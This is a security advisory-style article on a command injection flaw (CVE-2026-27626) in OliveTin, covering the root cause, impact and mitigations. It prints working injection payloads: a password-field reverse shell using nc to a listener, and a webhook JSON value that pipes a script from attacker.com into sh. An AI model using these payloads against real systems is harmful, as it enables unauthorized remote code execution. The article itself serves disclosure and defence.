Feb 25, 2026·6 min read·8 visits
Critical RCE in OliveTin via unchecked password fields and webhook inputs. Attackers can inject shell commands directly into the execution stream. No patch available at time of disclosure. CVSS 10.0.
OliveTin, a tool designed to simplify shell command execution for end-users, suffers from two critical Command Injection vulnerabilities (CVE-2026-27626). By failing to sanitize arguments in 'password' fields and entirely bypassing validation for Webhook triggers, the application allows unauthenticated attackers to execute arbitrary code with the privileges of the hosting process. This effectively turns a tool meant for controlled access into an open door for full system compromise.
In the world of homelabs and SysAdmin tooling, OliveTin holds a special place. It promises to be the 'sudo for web'—a friendly interface that turns complex, dangerous bash scripts into safe, clickable buttons. It’s the tool you install so your junior devs or family members can restart a Plex server without needing SSH keys or root access.
But here is the cosmic irony: the very tool designed to prevent users from running dangerous commands has a hole in it the size of a truck. CVE-2026-27626 isn't just a bug; it's a fundamental betrayal of the software's promise. It turns a gatekeeper into a doorman who waves everyone through.
The vulnerability lies in how OliveTin constructs shell commands. It assumes that if it checks some inputs, it's safe. But as any seasoned hacker knows, security is a binary state: you are either secure, or you are not. There is no 'mostly' secure when sh -c is involved.
The root cause of this disaster is a classic failure in Input Validation. OliveTin relies on a function loosely termed checkShellArgumentSafety to sanitize user inputs before handing them off to the system shell. This function creates an allowlist of characters or checks for dangerous metacharacters (like ;, |, &).
However, the developers made a fatal assumption regarding usability vs. security. They likely realized that passwords often contain complex special characters—symbols that might look malicious to a sanitizer (like $ or &). To avoid breaking functionality for legitimate users with strong passwords, they explicitly excluded inputs of type password from the safety check. They essentially said, 'Trust the input if it's a password.'
Vector 2 is even more egregious. OliveTin supports Webhooks, allowing external services to trigger actions via JSON payloads. The logic responsible for extracting values from this JSON (using JSONPath) completely bypasses the safety check mechanism. It grabs the string from the JSON and pastes it directly into the shell command string. It’s the coding equivalent of accepting a package from a stranger and immediately eating whatever is inside.
Let's look at the logic flow that leads to this catastrophe. While the exact source code evolves, the vulnerability follows this pattern in Go. The application constructs a command string to be executed by /bin/sh.
The validation logic likely looked something like this:
// Pseudo-code of the vulnerable logic
func executeAction(action Action, inputs map[string]string) {
var cmdBuilder strings.Builder
cmdBuilder.WriteString(action.Command)
for _, arg := range action.Arguments {
userValue := inputs[arg.Name]
// THE FATAL FLAW: Skipping validation for passwords
if arg.Type != "password" {
if !checkShellArgumentSafety(userValue) {
log.Error("Unsafe input detected!")
return
}
}
// If it's a password, it flows right through here raw
cmdBuilder.WriteString(" " + userValue)
}
// Execute: sh -c "script.sh <user_input>"
exec.Command("sh", "-c", cmdBuilder.String()).Run()
}For webhooks, the path is even straighter. The code extracts a value via JSONPath and doesn't even call the check function:
// Pseudo-code of the webhook handler
func handleWebhook(w http.ResponseWriter, r *http.Request) {
// ... parse JSON ...
extractedVal := jsonPathQuery(payload, trigger.Path)
// DIRECT INJECTION: No safety check called
fullCommand := fmt.Sprintf("%s %s", action.Script, extractedVal)
exec.Command("sh", "-c", fullCommand).Run()
}In both cases, the attacker controls a substring inside a command passed to sh -c. This allows for standard shell injection techniques.
Exploiting this is trivial. We don't need buffer overflows or heap spraying. We just need basic knowledge of bash operators. The goal is to terminate the intended command and start our own.
Imagine an OliveTin action configured to restart a service, requiring a sudo password. The configured command might look like:
echo {{ password }} | sudo -S systemctl restart nginx
An attacker, authenticated as a low-level user (or anyone, if auth is disabled), navigates to the form. In the password field, instead of Secret123, they enter:
Secret123; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4444 > /tmp/f
The resulting command executed by the server becomes:
echo Secret123; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4444 > /tmp/f | sudo -S systemctl restart nginx
The semicolon terminates the echo, and the reverse shell executes immediately.
This vector is often unauthenticated. If the OliveTin instance exposes webhooks to the internet (common for IoT integrations), it's game over.
Request:
POST /api/webhook/trigger_backup HTTP/1.1
Host: olivetin.local
Content-Type: application/json
{
"filename": "backup.zip; curl http://attacker.com/malware.sh | sh"
}If the action creates a backup using the filename from the JSON, the injection executes instantly. No login required. No brute force. Just pure, unadulterated Remote Code Execution.
Why is this a CVSS 10.0? Because OliveTin is an execution engine. It is often deployed in Docker containers mapped to the host's Docker socket, or running as root to simplify permission management for the scripts it runs.
If the process runs as root:
--privileged or mapped sockets, escaping to the host is trivial.Even if running as a low-privileged user, the attacker can access any secrets, API keys, or configuration files accessible to the OliveTin user, often leading to privilege escalation.
As of the initial disclosure, no official patch was immediately available, leaving users in a precarious position. However, the path to remediation is clear for the developers and users can take immediate defensive steps.
The flaw is using sh -c (shell execution) with concatenated strings. The fix is to use parameterized execution (like execve). Arguments should be passed as an array of strings, not a single command string. This prevents the shell from interpreting metacharacters.
If sh -c must be used, the application must strictly sanitize inputs against an allowlist (alphanumeric only), rejecting anything else. The exemption for password types must be removed, or passwords should be passed via environment variables, not command arguments.
config.yaml immediately.authType is NOT set to none. Use a reverse proxy (like Nginx or Traefik) with Basic Auth or Oauth in front of OliveTin as a second layer of defense.sudo permissions only for the commands strictly needed.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
OliveTin OliveTin | <= 3000.10.0 | TBD |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 (OS Command Injection) |
| CVSS Score | 10.0 (Critical) |
| Attack Vector | Network (Web & Webhook) |
| Privileges Required | None (for Webhook vector) |
| Exploit Status | Proof of Concept Available |
| Platform | Go / Linux |
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.